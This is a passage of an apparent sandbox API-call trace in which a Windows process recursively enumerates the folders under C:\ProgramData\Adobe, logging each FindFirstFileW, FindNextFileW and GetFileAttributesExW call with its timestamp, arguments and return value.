hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0070.641] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0070.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0070.641] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe", lpFilePart=0x0) returned 0x14 [0070.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.641] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe" (normalized: "c:\\programdata\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7da1ccd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb0bc51d0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb0bc51d0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.645] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe", lpFilePart=0x0) returned 0x14 [0070.645] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.645] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.645] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.645] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.645] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.646] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.646] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x1c [0070.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.646] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat" (normalized: "c:\\programdata\\adobe\\acrobat"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7da1ccd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x7da1ccd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0x7da1ccd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.646] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x1c [0070.646] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.646] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.646] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.646] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.646] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.646] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x21 [0070.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.646] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7da1ccd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x7da1ccd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0x7da1ccd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.648] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x21 [0070.648] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.648] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.648] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.648] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.648] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.648] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", lpFilePart=0x0) returned 0x2b [0070.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.649] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7da1ccd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x7da1ccd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0x7da1ccd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", lpFilePart=0x0) returned 0x2b [0070.649] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.649] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.649] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.649] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.649] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", lpFilePart=0x0) returned 0x34 [0070.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0070.649] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7da1ccd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x7da1ccd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0x7da1ccd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0070.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.650] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", lpFilePart=0x0) returned 0x34 [0070.650] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.650] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.650] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.650] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.650] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.650] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security", lpFilePart=0x0) returned 0x34 [0070.651] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.651] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.651] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.651] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.651] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.651] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate", lpFilePart=0x0) returned 0x2b [0070.651] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.651] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.651] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.652] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.652] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x21 [0070.652] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.652] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.652] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.652] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.652] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x1c [0070.652] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.653] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.653] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.653] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.653] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.653] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM", lpFilePart=0x0) returned 0x18 [0070.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.653] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM" (normalized: "c:\\programdata\\adobe\\arm"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0bc51d0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb0beb330, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb0beb330, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.653] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM", lpFilePart=0x0) returned 0x18 [0070.654] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.654] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.654] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.654] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.654] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.654] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", lpFilePart=0x0) returned 0x26 [0070.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.654] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0beb330, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xdb659d60, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xdb659d60, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.654] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", lpFilePart=0x0) returned 0x26 [0070.654] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.665] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.665] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.666] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412", lpFilePart=0x0) returned 0x2c [0070.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.666] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\10412"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc2f85970, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xc301def0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xc301def0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.667] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412", lpFilePart=0x0) returned 0x2c [0070.667] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.672] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.672] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.672] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.673] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.673] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.673] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.673] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.673] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412", lpFilePart=0x0) returned 0x2c [0070.673] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\10412\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.674] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.674] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.674] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.674] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.674] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.674] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.674] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.675] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", nBufferLength=0x105, lpBuffer=0x6cfe678, 